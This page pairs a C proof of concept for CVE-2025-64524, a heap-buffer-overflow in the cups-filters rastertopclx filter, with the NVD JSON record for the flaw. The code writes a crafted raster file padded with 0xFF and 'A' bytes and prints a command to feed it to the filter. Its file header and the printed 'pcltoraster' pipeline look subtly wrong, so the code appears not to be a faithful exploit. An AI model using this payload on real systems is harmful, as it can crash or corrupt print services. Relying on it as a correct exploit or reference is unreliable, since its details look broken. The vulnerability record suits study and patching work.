CVE-2025-64524

#include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2025-64524: cups-filters rastertopclx heap-buffer-overflow // This PoC generates a malicious Raster file that triggers overflow in rastertopclx void generate_malicious_raster(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { perror("Failed to open file"); return; } // Raster header - crafted to trigger buffer overflow unsigned char raster_header[1024] = {0}; // Set Raster magic number memcpy(raster_header, "RaS", 3); // Set version and dimensions to trigger overflow in rastertopclx raster_header[3] = 2; // version raster_header[4] = 1; // compression type // Write oversized data to cause heap overflow memset(raster_header + 100, 0xFF, 900); fwrite(raster_header, 1, sizeof(raster_header), fp); // Write additional malicious payload unsigned char payload[4096]; memset(payload, 0x41, sizeof(payload)); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("Malicious Raster file generated: %s\n", filename); } int main() { const char *poc_file = "CVE-2025-64524.poc"; generate_malicious_raster(poc_file); printf("To trigger the vulnerability, process this file with rastertopclx:\n"); printf("pcltoraster < %s | rastertopclx > output.pcl\n", poc_file); return 0; }

{"cve": {"id": "CVE-2025-64524", "sourceIdentifier": "[email protected]", "published": "2025-11-20T18:15:51.250", "lastModified": "2025-12-15T14:35:40.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cups-filters contains backends, filters, and other software required to get the cups printing service working on operating systems other than macos. In versions 2.0.1 and prior, a heap-buffer-overflow vulnerability in the rastertopclx filter causes the program to crash with a segmentation fault when processing maliciously crafted input data. This issue can be exploited to trigger memory corruption, potentially leading to arbitrary code execution. This issue has been patched via commit 956283c."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups-filters:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.1", "matchCriteriaId": "AF81B006-2017-43AF-B469-6CE6EF1A49AE"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups-filters/commit/956283c74a34ae924266a2a63f8e5f529a1abd06", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-rq44-2q5p-x3hv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/20/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}, {"url": "https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-rq44-2q5p-x3hv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}